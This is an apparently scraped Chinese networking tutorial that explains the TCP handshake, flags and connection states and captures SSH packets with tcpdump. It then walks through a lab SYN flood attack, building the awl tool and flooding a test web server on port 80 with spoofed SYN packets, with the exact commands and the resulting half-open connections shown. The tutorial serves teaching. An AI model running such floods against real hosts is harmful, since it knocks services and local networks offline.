TCP三次握手之

您所在的位置:网站首页 洪水攻击教程图解视频 TCP三次握手之

TCP三次握手之

2024-07-12 06:38| 来源: 网络整理| 查看: 265

文章目录 云盾数据TCP三次握手TCP报文段的头部格式 实战-使用tcpdump 抓包tcpdump 常用参数tcpdmp 抓包awl -syn-洪水攻击原理实战 总结:

云盾数据 - http://ssa.yundun.com/cc #云盾全球实时攻防图 TCP三次握手 TCP报文段的头部格式

在这里插入图片描述

ACK:TCP协议规定,只有ack=1时,有效,也规定连接建立后,所有发送的报文ack必须为1

SYN :在连接建立时用来同步序列号,当SYN=1,而ACK=0时,表明这是一个连接请求报文,对方若同意建立连接,则应在响应报文中使SYS=1,和ACK=1,因此,SYS置1,就表示这是一个连接请求或连接接受报文

FIN 终结,用来释放一个连接,当FIN=1,表明此报文段的发送方数据已经发送完毕,并要求释放连接

建立tcp 连接是的tcp三次握手

断开tcp 连接的四次挥手

三次握手过程:

Client:我可以给你发数据吗Server:可以Client:好的,知道了 在这里插入图片描述

TCP 连接状态:

listen 侦听来自远方的TCP连接请求syn-sent 发送请求连接后,等待匹配连接请求syn-received 在收到和发送一个连接请求后等待对方连接请求的确认established 代表打开一个连接

三次握手过程: - 首先有client 发起请求连接,SYN=1,声明 自己序列号为seq=x; - 然后server 进行回复确认,即SYN=1,声明自己的序列号是 seq=y,并设置ack=x+1 - 最后cilent 在进行一次确认,设置ack=y+1(相对序号)

四次挥手

Cilent:我要断开了哦

Server:嗯嗯

Server:我也要断开了

Client:好的,可以断开

UPD 主要是语音、视频,同时vxlan也采用UDP协议分装,主要用于构建OpenStack 私有云或者解决vlan 不够用

实战-使用tcpdump 抓包 tcpdump 常用参数

-c 指定包个数

-n IP 端口用数字方式显示

-port 指定端口

-i 指定网卡接口

如何产生tcp 连接?

ssh 连接访问web 等注意:ping 能不能产生tcp连接? - 不能,ping 属于icmp协议,是个2层协议,而tcp 属于传输层协议–4层 tcpdmp 抓包 安装tcpdump 抓包工具 [root@client ~]# yum -y install tcpdump

[root@client ~]# tcpdump -n -c 3 port 22 -i ens33

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes 22:55:11.185792 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679612986:2679613174, ack 4290389423, win 252, length 188 22:55:11.186127 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 188, win 4104, length 0 22:55:11.186370 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 188:464, ack 1, win 252, length 276 3 packets captured 3 packets received by filter 0 packets dropped by kerne

注释:Flags --S {syn} 表示SYN标志位为1

思考:为啥ack 最后是1,而不是y+1

相对序号 +S,最后不是1

[root@client ~]# tcpdump -n -c 3 port 22 -i ens33 -S tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes 23:00:48.648805 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679618606:2679618794, ack 4290391935, win 252, length 188 23:00:48.649369 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 2679618794, win 4101, length 0 23:00:48.649661 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679618794:2679619078, ack 4290391935, win 252, length 284 3 packets captured 3 packets received by filter 0 packets dropped by kernel [root@client ~]# tcpdump -n -c 3 port 22 -i ens33 -S tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes 23:01:10.917796 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679619482:2679619670, ack 4290392015, win 252, length 188 23:01:10.918335 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 2679619670, win 4105, length 0 23:01:10.918569 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679619670:2679619954, ack 4290392015, win 252, length 284 3 packets captured 3 packets received by filter 0 packets dropped by kernel [root@client ~]# awl -syn-洪水攻击 图 在这里插入图片描述 原理

SYN 洪水攻击的过程: 在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的端,那么服务端需要耗费一定的数量的系统内存来等待这个未决的连接。直刀等待关闭超时,才能释放连接

如果恶意者通过IP 欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接,并占用大量内存和tcp 连接,从而导致客户端无法访问服务端,这就是SYN洪水攻击的过程

实战 上传安装包 root@localhost ~]# cd /usr/src/ [root@localhost src]# ls awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz kernels debug

解压、编译安装 [root@localhost src]# tar -zxvf awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz

[root@localhost ~]# cd /usr/src/awl-0.2/ [root@localhost awl-0.2]# ./configure #检查安装环境

[root@localhost awl-0.2]# make -j 1

[root@localhost awl-0.2]# make install

[root@localhost ~]# aw awk awl [root@localhost ~]# which awl #查看安装的位置 /usr/local/bin/awl [root@localhost ~]#

开始攻击:

awl 使用参数:

发送包的接口,如果省略默认是 eth 0

-m 指定目标mac,如果-m 没有指定mac,默认目标mac 就是FF.FF.FF.FF.FF.FF

全 F 就是向同以往段所有主机发出arp 广播,进行SYN攻击,还容易使整个局域网瘫痪

-d 被攻击的主机ip

-p 被攻击的主机端口

配置服务端

[root@localhost ~]# yum -y install httpd [root@localhost ~]# systemctl start httpd [root@localhost ~]# getenforce #关闭selinux Disabled [root@localhost ~]# systemctl stop firewalld #关闭防火墙 [root@localhost ~]# [root@localhost ~]# iptables -F [root@localhost ~]# 当我们安装好后,过滤端口,发现默认只有一个80. [root@localhost ~]# [root@localhost ~]# netstat -antup |grep 80 tcp6 0 0 :::80 ::: LISTEN 1412/httpd

客户端发起攻击

[root@localhost ~]# arp -n # 查看arp 缓存,如果没有看到167 的ip ,说明没有产生连接,可以使用167 ssh 到121 ,然后退出,再次查看。

[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80 注意:默数几秒,ctrl +C停止操作,在去过滤167httpd服务

[root@localhost ~]# netstat -antup |grep 80 tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV - tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV - tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV - tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV - tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV - …… 会发现产生大量未知的ip地址,并且连接状态为 SYN-RECV---- 在收到和发送一个连接请求后等待对方连接请求的确认

总结: tcp 三从握手,提供可靠连接udp 支持vxlan ,用于OpenStack 私有云、vlan 不够用如果编译出现以下问题: configure: error:no acceptable C compiler found in $PATH 解决: yum -y install gcc-c++ 熟悉tcp 三次握手协议


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3